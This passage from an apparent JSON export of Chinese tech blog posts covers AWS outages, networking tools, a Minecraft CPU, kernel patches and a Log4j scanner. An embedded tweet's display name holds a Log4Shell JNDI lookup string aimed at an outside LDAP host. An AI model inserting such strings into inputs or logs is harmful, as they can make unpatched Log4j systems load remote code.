    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 又炸了，不過這次不是死在 <code>us-east-1</code>，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=29567170\">AWS appears to be down again</a>」可以看一看...\r\n\r\n話說回來，前幾天在「<a href=\"https://blog.gslin.org/archives/2021/12/14/10461/%e5%89%8d%e5%b9%be%e5%a4%a9-aws-%e7%9a%84-us-east-1-%e5%87%ba%e4%ba%8b%e5%a0%b1%e5%91%8a/\">前幾天 AWS 的 us-east-1 出事報告</a>」才提到可以放到 <code>us-west-2</code>，怎麼就炸了...\r\n\r\n手上的 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 也可以看到一些資訊，像是 <a href=\"https://www.hinet.net/\">HiNet</a> 到 dynamodb.us-west-1.amazonaws.com：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0WzI2ZN.webp\" /><img src=\"https://i.gslin.com/imgur/0WzI2ZN.png\" alt=\"\" /></picture>\r\n\r\nHiNet 到 dynamodb.us-west-2.amazonaws.com 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P4RS2Ep.webp\" /><img src=\"https://i.gslin.com/imgur/P4RS2Ep.png\" alt=\"\" /></picture>\r\n\r\n第四台 (APOL 線路) 到 dynamodb.us-west-1.amazonaws.com 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YJlVZ3I.webp\" /><img src=\"https://i.gslin.com/imgur/YJlVZ3I.png\" alt=\"\" /></picture>\r\n\r\n第四台 (APOL 線路) 到 dynamodb.us-west-2.amazonaws.com 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LqypO28.webp\" /><img src=\"https://i.gslin.com/imgur/LqypO28.png\" alt=\"\" /></picture>\r\n\r\n可以看出來從網路層就了出問題，再等幾天看 AWS 出報告吧...",
    "title": "AWS 的 us-west-1 與 us-west-2 炸掉"
  },
  {
    "id": "10468",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣布印尼雅加達區開放使用，代碼 <code>ap-southeast-3</code>：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-asia-pacific-jakarta-region/\">Now Open – AWS Asia Pacific (Jakarta) Region</a>」。\r\n\r\n要注意雅加達區需要另外 enable 才能用：\r\n\r\n<blockquote>As is the case with all of the newer AWS Regions, you need to explicitly enable this one in order to be able to create and manage resources within it.</blockquote>\r\n\r\n另外也同時宣布了雅加達的 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 接點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/12/aws-direct-connect-announces-new-locations-indonesia/\">AWS Direct Connect announces two new locations in Indonesia</a>」。\r\n\r\n公司主力目前用新加坡 (<code>ap-southeast-1</code>)，好像有不少事情得做... (至少要先規劃)",
    "title": "AWS 印尼雅加達區開放使用"
  },
  {
    "id": "10469",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上看到有強者在 <a href=\"https://en.wikipedia.org/wiki/Minecraft\">Minecraft</a> 實做邏輯電路，幹出一台完整的電腦出來 (CPU 的部份應該是 <a href=\"https://en.wikipedia.org/wiki/Turing_completeness\">turing-complete</a> 了)：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/FDiapbD0Xfg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n<a href=\"https://www.pcworld.com/\">PCWorld</a> 有報導：「<a href=\"https://www.pcworld.com/article/559794/8-bit-computer-processor-built-in-minecraft-can-run-its-own-games.html\">This 8-bit processor built in Minecraft can run its own games</a>」。\r\n\r\n把影片裡的描述截圖出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UvKSqt9.webp\" /><img src=\"https://i.gslin.com/imgur/UvKSqt9.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/n9LkmG9.webp\" /><img src=\"https://i.gslin.com/imgur/n9LkmG9.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MLqyIxc.webp\" /><img src=\"https://i.gslin.com/imgur/MLqyIxc.png\" alt=\"\" /></picture>\r\n\r\n連分支預測器都出現了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FxXgUKa.webp\" /><img src=\"https://i.gslin.com/imgur/FxXgUKa.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9D7NgsJ.webp\" /><img src=\"https://i.gslin.com/imgur/9D7NgsJ.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ChxTRZh.webp\" /><img src=\"https://i.gslin.com/imgur/ChxTRZh.png\" alt=\"\" /></picture>\r\n\r\n記憶體就 Minecraft 來說也是超大的 256 bytes：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OxLklmA.webp\" /><img src=\"https://i.gslin.com/imgur/OxLklmA.png\" alt=\"\" /></picture>\r\n\r\n然後還做了 cache 層，這邊提到的是 data cache：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P6AoASN.webp\" /><img src=\"https://i.gslin.com/imgur/P6AoASN.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vHHZVvP.webp\" /><img src=\"https://i.gslin.com/imgur/vHHZVvP.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jxmONzn.webp\" /><img src=\"https://i.gslin.com/imgur/jxmONzn.png\" alt=\"\" /></picture>\r\n\r\n然後這邊是 instruction cache：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rWa0RkA.webp\" /><img src=\"https://i.gslin.com/imgur/rWa0RkA.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rsiSJlt.webp\" /><img src=\"https://i.gslin.com/imgur/rsiSJlt.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xXRwg5M.webp\" /><img src=\"https://i.gslin.com/imgur/xXRwg5M.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TsdrPxo.webp\" /><img src=\"https://i.gslin.com/imgur/TsdrPxo.png\" alt=\"\" /></picture>\r\n\r\n也因為已經相當的 powerful，很多經典遊戲都可以玩，像是俄羅斯方塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MjonJMq.webp\" /><img src=\"https://i.gslin.com/imgur/MjonJMq.png\" alt=\"\" /></picture>\r\n\r\n貪食蛇：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EujItR4.webp\" /><img src=\"https://i.gslin.com/imgur/EujItR4.png\" alt=\"\" /></picture>\r\n\r\n打磚塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cAgtAN1.webp\" /><img src=\"https://i.gslin.com/imgur/cAgtAN1.png\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Connect_Four\">Connect Four</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zK99Wbs.webp\" /><img src=\"https://i.gslin.com/imgur/zK99Wbs.png\" alt=\"\" /></picture>",
    "title": "在 Minecraft 裡面幹出一台完整的電腦"
  },
  {
    "id": "10470",
    "body": "前幾天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.da.vidbuchanan.co.uk/widgets/pngdiff/\">PNG Parser Differential</a>」這個，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=29573792\">PNG Parser Differential (vidbuchanan.co.uk)</a>」這邊可以看到。\r\n\r\n作者想要利用 threading 加速處理 <a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a> 格式，結果寫出了 bug，但意外發現 <a href=\"https://www.apple.com/\">Apple</a> 的 PNG decoder 也犯了一樣的問題：「<a href=\"https://github.com/DavidBuchanan314/parallel-png-proposal/issues/3\">Ambiguous Decodes #3</a>」。\r\n\r\n作者做了一個特別的 PNG 放在網站上，在非 <a href=\"https://www.apple.com/safari/\">Safari</a> 的情況下會是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VlYvaf3.webp\" /><img src=\"https://i.gslin.com/imgur/VlYvaf3.png\" alt=\"\" /></picture>\r\n\r\n而拿 <a href=\"https://www.apple.com/iphone/\">iPhone</a> 的 Safari 讀的話，可以看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zZk2WHk.webp\" /><img src=\"https://i.gslin.com/imgur/zZk2WHk.png\" alt=\"\" /></picture>\r\n\r\n應該是 implementation bug，還蠻有趣的 bug...",
    "title": "Apple 對 PNG 解碼的 bug"
  },
  {
    "id": "10472",
    "body": "<a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上看到的字型 <a href=\"https://github.com/sayyadirfanali/Hera\">Hera</a>。\r\n\r\n以 <a href=\"https://en.wikipedia.org/wiki/Source_Code_Pro\">Source Code Pro</a> 為主，混入了 <a href=\"https://en.wikipedia.org/wiki/Fira_(typeface)\">Fira Mono</a>、<a href=\"https://en.wikipedia.org/wiki/Inconsolata\">Inconsolata</a> 與 <a href=\"https://en.wikipedia.org/wiki/IBM_Plex\">IBM Plex Mono</a>：\r\n\r\n<blockquote>Hera is a monospace font which is a customised version of Source Code Pro which was originally created by Paul Hunt.\r\n\r\nHera consists mainly of glyphs from Adobe Source Code Pro mixed with glyphs from popular monospace fonts like Fira Mono, Inconsolata, IBM Plex Mono, etc.\r\n\r\nHera emphasises readability and uniformity for sigils and symbols which makes it suitable for use in coding environments.</blockquote>\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 上有 screenshot 可以參考：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iSfPJBJ.webp\" /><img src=\"https://i.gslin.com/imgur/iSfPJBJ.png\" alt=\"\" /></picture>\r\n\r\n以及：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sEQrjSn.webp\" /><img src=\"https://i.gslin.com/imgur/sEQrjSn.png\" alt=\"\" /></picture>\r\n\r\n用了幾天還可以，應該會繼續用，放入常態性的替換清單... (我同一個字型看久了會想換)",
    "title": "另外一個 monospace 的字型 Hera"
  },
  {
    "id": "10473",
    "body": "<a href=\"https://tailscale.com/\">Tailscale</a> 是個基於 <a href=\"https://en.wikipedia.org/wiki/WireGuard\">WireGuard</a> 的 VPN 服務，基本的邏輯是所有的機器都連上 VPN，然後 Tailscale 建立一組 <a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">CGNAT</a> 網段的內部網路讓你可以互連，另外也可以透過這些 VPN 設定 exit node 連外：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uhoOLtu.webp\" /><img src=\"https://i.gslin.com/imgur/uhoOLtu.png\" alt=\"\" /></picture>\r\n\r\n另外的一個特點是他把 <a href=\"https://en.wikipedia.org/wiki/Hole_punching_(networking)\">Hole punching</a> 的方式包好了，可以打通兩個都在 NAT 後面的機器 (大多數的狀態都可以成功)，不需要透過 VPN hub 代轉流量，於是 latency 會低很多 (因為大多數在台灣都沒有 VPN hub)。\r\n\r\n也因為不太需要 VPN hub，對 Tailscale 來說營運的成本就沒那麼高，所以 Tailscale 有提供個人可以用的免費版本，提供 20 個 devices 連上同一個內部網段。\r\n\r\n以前在外面的咖啡廳用網路會習慣透過 VPN server 稍微保護一下連線，現在看起來可以用 Tailscale 取代掉... 家裡的 <a href=\"https://www.hinet.net/\">HiNet</a> 桌機或是 VPS 的機器都可以拿來當 exit node。\r\n\r\n另外還有 open source 的 <a href=\"https://github.com/juanfont/headscale\">headscale</a> 專案可以看，如果想要完全更高的安全性，完全自己 host 的話...",
    "title": "用 Tailscale 取代個人的 VPN"
  },
  {
    "id": "10479",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到一個很久前的討論：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://t.co/GQF652CKkw\">https://t.co/GQF652CKkw</a><a href=\"https://twitter.com/hashtag/TIL?src=hash&amp;ref_src=twsrc%5Etfw\">#TIL</a></p>&mdash; lordlee (@lordlee) <a href=\"https://twitter.com/lordlee/status/1476127619896967173?ref_src=twsrc%5Etfw\">December 29, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n裡面提到了「<a href=\"https://blog.josephscott.org/2011/10/14/timing-details-with-curl/\">Timing Details With cURL</a>」，可以給一個 template 進去輸出內部資訊：\r\n\r\n<pre>time_namelookup: %{time_namelookup}\r\ntime_connect: %{time_connect}\r\ntime_appconnect: %{time_appconnect}\r\ntime_pretransfer: %{time_pretransfer}\r\ntime_redirect: %{time_redirect}\r\ntime_starttransfer: %{time_starttransfer}\r\n———\r\ntime_total: %{time_total}</pre>\r\n\r\n不過我實際測試發現現在的 <a href=\"https://curl.se/\">curl</a> 版本要加上 <code>\\n</code> 才會換行，之後可以拿來 debug 看看...",
    "title": "列出 curl 連線的內部時間資訊"
  },
  {
    "id": "10481",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=29700434\">Whatever happened to Flickr? (techspot.com)</a>」出現了不少相關的人，比原文章寫的東西更精彩一些...\r\n\r\n可以看一下「1024core」這串，另外「simonw」這串也頗有趣的 (<a href=\"https://en.wikipedia.org/wiki/Simon_Willison\">Simon Willison</a> 之前也在 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 待過)，「petilon」這串也有不少討論... 但要記得這些都是八卦 XD\r\n\r\n這幾年 <a href=\"https://www.microsoft.com/\">Microsoft</a> 在併購後的策略就軟多了，從 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 與 <a href=\"https://github.com/\">GitHub</a> 可以看出來...",
    "title": "Flickr 的八卦故事"
  },
  {
    "id": "10482",
    "body": "在 <a href=\"https://www.osnews.com/\">OSnews</a> 上看到「<a href=\"https://www.osnews.com/story/134385/windows-2000-modernization-guide/\">Windows 2000 modernization guide</a>」這個介紹文，題到了 2021 年的現在要怎麼跑 <a href=\"https://en.wikipedia.org/wiki/Windows_2000\">Windows 2000</a> 的方式，原文在「<a href=\"https://w2k.phreaknet.org/guide\">Windows 2000 Modernization Guide</a>」這邊，除了 Windows 2000 以外，還說明了在 Windows 2000 上面要怎麼跑 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Office_2007\">Microsoft Office 2007</a>。\r\n\r\n裡面提到了 <a href=\"http://kernelex.sourceforge.net/\">KernelEx</a> 這個改裝套件，不過查了一下，這本來是試著在 <a href=\"https://en.wikipedia.org/wiki/Windows_98\">Windows 98</a> 上面跑 Windows 2000 或是 <a href=\"https://en.wikipedia.org/wiki/Windows_XP\">Windows XP</a> 的程式，看起來不是講這個...\r\n\r\n作者文章裡提到的是日本的 <a href=\"https://twitter.com/BlackWingCat\">BlackWingCat</a> 的改裝版本 (突然有種不怎麼意外的感覺)，可以在 Windows 2000 上面跑 Windows XP 的程式，但即使如此也只是 kernel 層，還是有很多 library 層的東西要 porting...\r\n\r\n看起來是很好玩，但希望用不到 XDDD",
    "title": "在 2021 年 (2022 年？) 跑 Windows 2000 的方法"
  },
  {
    "id": "10484",
    "body": "在 <a href=\"http://rocksdb.org/\">RocksDB</a> 的 blog 上看到「<a href=\"http://rocksdb.org/blog/2021/12/29/ribbon-filter.html\">Ribbon Filter</a>」這個，主要是 RocksDB 從 6.15 開始支援 Ribbon filter，取代本來的 <a href=\"https://en.wikipedia.org/wiki/Bloom_filter\">Bloom filter</a> 機制。\r\n\r\nRocksDB 的 wiki 上面是說用 CPU 資源換 memory 的使用量：\r\n\r\n<blockquote>A new Bloom filter alternative is available as a drop-in replacement (since version 6.15.0), saving about 30% of Bloom filter space (most importantly, memory) but using about 3-4x as much CPU on filters. Most of the additional CPU time is in the background jobs constructing the filters, and this is usually a good trade because it is common for SST filters to use ~10% of system RAM and well under 1% of CPU.</blockquote>\r\n\r\n論文則是在「<a href=\"https://arxiv.org/abs/2103.02515\">Ribbon filter: practically smaller than Bloom and Xor</a>」這邊可以看到，<a href=\"https://www.facebook.com/\">Facebook</a> 之前也有提到 Ribbon filter：「<a href=\"https://engineering.fb.com/2021/07/09/data-infrastructure/ribbon-filter/\">Ribbon filter: Practically smaller than Bloom and Xor</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有對應的討論可以翻：「<a href=\"https://news.ycombinator.com/item?id=27792558\">Ribbon filter: Practically smaller than Bloom and Xor (fb.com)</a>」。\r\n\r\n在 Ribbon filter 的資料裡面都提到了 Xor filter 當作比較，先前在「<a href=\"https://blog.gslin.org/archives/2019/12/21/9348/%E6%AF%94-bloom-filter-%E8%88%87-cuckoo-filter-%E5%86%8D%E6%9B%B4%E9%80%B2%E4%B8%80%E6%AD%A5%E7%9A%84-xor-filter/\">比 Bloom filter 與 Cuckoo filter 再更進一步的 Xor filter</a>」這邊有提到 Xor filter。\r\n\r\n用 CPU 去換記憶體，算是特化的版本...",
    "title": "Ribbon filter"
  },
  {
    "id": "10485",
    "body": "從 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的消息，<a href=\"https://www.kernel.org/\">Linux Kernel</a> 裡的 <a href=\"https://en.wikipedia.org/wiki/Random_number_generation\">RNG</a>，裡面用到的 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 演算法換成 <a href=\"https://en.wikipedia.org/wiki/BLAKE2s\">BLAKE2s</a> 了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Damn. <a href=\"https://twitter.com/zx2c4?ref_src=twsrc%5Etfw\">@zx2c4</a> has been the Linux random driver maintainer for like a hot minute, and /dev/[u]random is now 100% SHA-1 free and 370% faster. Amazing.<a href=\"https://t.co/qh5eh0L9lN\">https://t.co/qh5eh0L9lN</a><a href=\"https://t.co/CuQD8pDrIg\">https://t.co/CuQD8pDrIg</a></p>&mdash; Filippo ${jndi:ldap://filippo.io/x} Valsorda (@FiloSottile) <a href=\"https://twitter.com/FiloSottile/status/1476698207413493766?ref_src=twsrc%5Etfw\">December 30, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nSHA-1 已知的問題是個隱患，不過換成 BLAKE2s 應該是 maintainer 的偏好，Jason Donenfeld 在 <a href=\"https://en.wikipedia.org/wiki/WireGuard\">WireGuard</a> 裡面也是用 BLAKE2s...",
    "title": "Linux Kernel 裡的 RNG 從 SHA-1 換成 BLAKE2s"
  },
  {
    "id": "10486",
    "body": "在「<a href=\"https://vadosware.io/post/everything-ive-seen-on-optimizing-postgres-on-zfs-on-linux/\">Everything I've seen on optimizing Postgres on ZFS</a>」這邊看到如果要在 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> 上面跑 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 時的調校方式，看起來作者有一直在更新這篇，所以需要的時候可以跑去看...\r\n\r\n主要的族群是要搞 self-hosted PostgreSQL 的人，相較於 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a> 或是 <a href=\"https://en.wikipedia.org/wiki/XFS\">XFS</a>，底層如果使用 ZFS 可以做許多事情，像是 compression 與 snapshot，這對於很多 DBA 相關的操作會方便不少，但也因為 ZFS 的關係，兩邊 (&amp; PostgreSQL) 需要一起調整以確保效能...\r\n\r\n不過短期應該還是用 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 就是了...",
    "title": "在 ZFS 上跑 PostgreSQL 的調校"
  },
  {
    "id": "10487",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://www.google.com/\">Google</a> 提供了一套用 <a href=\"https://go.dev/\">Golang</a> 寫的工具，可以掃描 <a href=\"https://en.wikipedia.org/wiki/JAR_(file_format)\">JAR</a> 檔裡面是否有中獎的 <a href=\"https://logging.apache.org/log4j/\">Log4j</a>：「<a href=\"https://github.com/google/log4jscanner\">log4jscanner</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=29761855\">Log4jscanner (github.com/google)</a>」這邊。\r\n\r\n看起來是內部工具，放出來前先把 vcs history 清掉了：\r\n\r\n<blockquote>We unfortunately had to squash the history when open sourcing. The following contributors were instrumental in this project's development: [...]</blockquote>\r\n\r\n另外討論裡也有人提到「<a href=\"https://owasp.org/www-project-dependency-check/\">OWASP Dependency-Check</a>」這個工具也可以掃，這套就更一般性了：\r\n\r\n<blockquote>Dependency-check automatically updates itself using the NVD Data Feeds hosted by NIST.</blockquote>",
    "title": "Google 提供掃描 JAR 檔內是否有中獎的 Log4j 的工具"
  },
  {
    "id": "10488",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://www.phoronix.com/scan.php?page=news_item&px=Linux-Fast-Kernel-Headers\">Massive ~2.3k Patch Series Would Improve Linux Build Times 50~80% &amp; Fix \"Dependency Hell\"</a>」這個，對應到 mailing list 上的信件是「<a href=\"https://lore.kernel.org/lkml/YdIfz+LMewetSaEB@gmail.com/T/\">* [PATCH 0000/2297] [ANNOUNCE, RFC] \"Fast Kernel Headers\" Tree -v1: Eliminate the Linux kernel's \"Dependency Hell\"</a>」這個，看到「0000/2297」這個 prefix XDDD\r\n\r\n他主要是想要改善 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 的 compile 時間 (從 project 的名稱「Fast Kernel Headers」可以看到)，只是沒想到會縮短這麼多。另外一方面也順便處理了 dependency hell 的問題 (改善維護性)。\r\n\r\n測試出來的結果相當驚人，從 231.34 +- 0.60 secs (15.5 builds/hour) 到 129.97 +- 0.51 secs (27.7 builds/hour)，以編譯次數來看的話是 78% 的改善。如果以 CPU time 來看的話，從 11,474,982.05 msec cpu-clock 降到 7,100,730.37 msec cpu-clock，也是以編譯次數來算的話，有 61.6% 的改善...\r\n\r\n這是花了一年多的時間嘗試才達成的目標，嘗試不同的方法，前幾次雖然都有改善，但改善幅度太小，變動卻太大，他覺得不值得丟出來，直到第三次才達成這樣的目標...\r\n\r\n第一次：\r\n\r\n<blockquote>When I started this project, late 2020, I expected there to be maybe 50-100 patches. I did a few crude measurements that suggested that about 20% build speed improvement could be gained by reducing header dependencies, without having a substantial runtime effect on the kernel.  Seemed substantial enough to justify 50-100 commits.</blockquote>\r\n\r\n第二次：\r\n\r\n<blockquote>But as the number of patches increased, I saw only limited performance increases. By mid-2021 I got to over 500 commits in this tree and had to throw away my second attempt (!), the first two approaches simply didn't scale, weren't maintainable and barely offered a 4% build speedup, not worth the churn of 500 patches and not worth even announcing.</blockquote>\r\n\r\n第三次：\r\n\r\n<blockquote>With the third attempt I introduced the per_task() machinery which brought the necessary flexibility to reduce dependencies drastically, and it was a type-clean approach that improved maintainability. But even at 1,000 commits I barely got to a 10% build speed improvement. Again this was not something I felt comfortable pushing upstream, or even announcing. :-/</blockquote>\r\n\r\n然後基於第三次的成果覺得有望，意外的發現後續的速度改善比想像中的多非常多：\r\n\r\n<blockquote>But the numbers were pretty clear: 20% performance gains were very much possible. So I kept developing this tree, and most of the speedups started arriving after over 1,500 commits, in the fall of 2021. I was very surprised when it went beyond 20% speedup and more, then arrived at the current 78% with my reference config. There's a clear super-linear improvement property of kernel build overhead, once the number of dependencies is reduced to the bare minimum.</blockquote>\r\n\r\n這次的 patch 雖然超大包，但看起來對於 compile 時間改善非常多，應該會有不少討論... 消息還蠻新的 (台灣時間今天早上五點的信)，晚點可以看一下其他大老出來回什麼...",
    "title": "Ingo Molnár 提出讓 Linux Kernel 編譯速度提昇的 mega patch"
  },
  {
    "id": "10497",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2021/11/25/10432/aws-%E6%B5%81%E9%87%8F%E7%9B%B8%E9%97%9C%E7%9A%84-free-tier-%E5%A2%9E%E5%8A%A0%E4%B8%8D%E5%B0%91/\">AWS 流量相關的 Free Tier 增加不少...</a>」這邊有提到一般性的流量從 1GB/month per region 升到 100GB/month，另外 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 則是大幅增加，從 50GB/month (只有註冊完的前 12 個月) 提升到 1TB/month (不限制 12 個月)，另外 CloudFront 到 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 中間的流量是不計費的。\r\n\r\n剛剛花了點功夫把 blog 從 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 搬到 CloudFront 上，另外先對預設的 <code>/*</code> 調整成 no cache，然後針對 <code>/wp-content/*</code> 另外加上 cache 處理，跑一陣子看看有沒有問題再說...\r\n\r\n目前比較明顯的改善就是 latency，從 <a href=\"https://www.hinet.net/\">HiNet</a> 連到免費版的 Cloudflare 會導去美國，用 CloudFront 的話就會是台灣了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vtf3DUb.webp\" /><img src=\"https://i.gslin.com/imgur/vtf3DUb.png\" alt=\"\" /></picture>\r\n\r\n另外一方面，這樣國際頻寬的部份就會走進 <a href=\"https://aws.amazon.com/\">AWS</a> 的骨幹，比起透過 HiNet 自己連到美國的 PoP 上，理論上應該是會快一些...",
    "title": "把 Blog 丟到 CloudFront 上"
  },
  {
    "id": "10500",
    "body": "整理資料的時候看到以前就看到的資訊，<a href=\"https://www.akamai.com/\">Akamai</a> 有提供工具，可以看 DNS resolver 的資訊：「<a href=\"https://developer.akamai.com/blog/2018/05/10/introducing-new-whoami-tool-dns-resolver-information\">Introducing a New whoami Tool for DNS Resolver Information</a>」。\r\n\r\n這拿來分析 <code>168.95.1.1</code> 或是 <code>8.8.8.8</code> 這些服務還蠻好用的，這些對外雖然有一個 IP address 在服務，但後面是一整個 cluster，所以可以利用 Akamai 的這個工具來看分析。\r\n\r\n像是 <code>8.8.8.8</code> 會給接近的 <a href=\"https://en.wikipedia.org/wiki/EDNS_Client_Subnet\">EDNS Client Subnet</a> (ECS) 資訊 (<code>ip</code> 的部份看起來是隨便給一個)：\r\n\r\n<pre>\r\n$ dig whoami.ds.akahelp.net txt @8.8.8.8\r\n\r\n[...]\r\n\r\n;; ANSWER SECTION:\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ns\" \"172.217.43.194\"\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ecs\" \"111.250.35.0/24/24\"\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ip\" \"111.250.35.149\"\r\n</pre>\r\n\r\n而 <code>1.1.1.1</code> 會給假的 ECS 資訊：\r\n\r\n<pre>\r\n$ dig whoami.ds.akahelp.net txt @1.1.1.1\r\n\r\n[...]\r\n\r\n;; ANSWER SECTION:\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ns\" \"2400:cb00:80:1024::a29e:f134\"\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ip\" \"2400:cb00:80:1024::a29e:f134\"\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ecs\" \"111.250.0.0/24/24\"\r\n</pre>\r\n\r\n然後 <code>168.95.1.1</code> 則是連 ECS 都不給 XDDD\r\n\r\n<pre>\r\n$ dig whoami.ds.akahelp.net txt @168.95.1.1\r\n\r\n[...]\r\n\r\n;; ANSWER SECTION:\r\nwhoami.ds.akahelp.net.  20      IN      TXT     \"ns\" \"2001:b000:180:8002:0:2:9:114\"\r\n</pre>\r\n\r\n之前在找 DNS 類問題的時候還算可以用的工具...",
    "title": "用 Akamai 提供的 akahelp 分析 DNS Resolver 的資訊"
  },
  {
    "id": "10501",
    "body": "在「<a href=\"https://www.qbittorrent.org/news.php\">Thursday January 06th 2022 - qBittorrent v4.4.0 release</a>」這邊可以看到 <a href=\"https://www.qbittorrent.org/\">qBittorrent</a> v4.4.0 支援 BitTorrent v2 (<a href=\"https://www.bittorrent.org/beps/bep_0052.html\">BEP 52</a>) 了：\r\n\r\n<blockquote>FEATURE: Support for v2 torrents along with libtorrent 2.0.x support (glassez, Chocobo1)</blockquote>\r\n\r\n先前在「<a href=\"https://blog.gslin.org/archives/2020/09/13/9706/libtorrent-%e5%ae%a3%e4%bd%88%e6%94%af%e6%8f%b4-bittorrent-v2/\">libtorrent 宣佈支援 BitTorrent v2</a>」這邊有提到過 <a href=\"https://www.libtorrent.org/\">libtorrent</a> 要支援 BitTorrent v2 的消息，而 qBittorrent 算是 libtorrent 的使用大戶，支援 BitTorrent v2 後會讓 BitTorrent v2 的使用率增加不少。\r\n\r\n用了一年多才出現一個比較大的 client 跳進去支援，看起來大家的動力的確不高...",
    "title": "qBittorrent 支援 BitTorrent v2"
  },
  {
    "id": "10503",
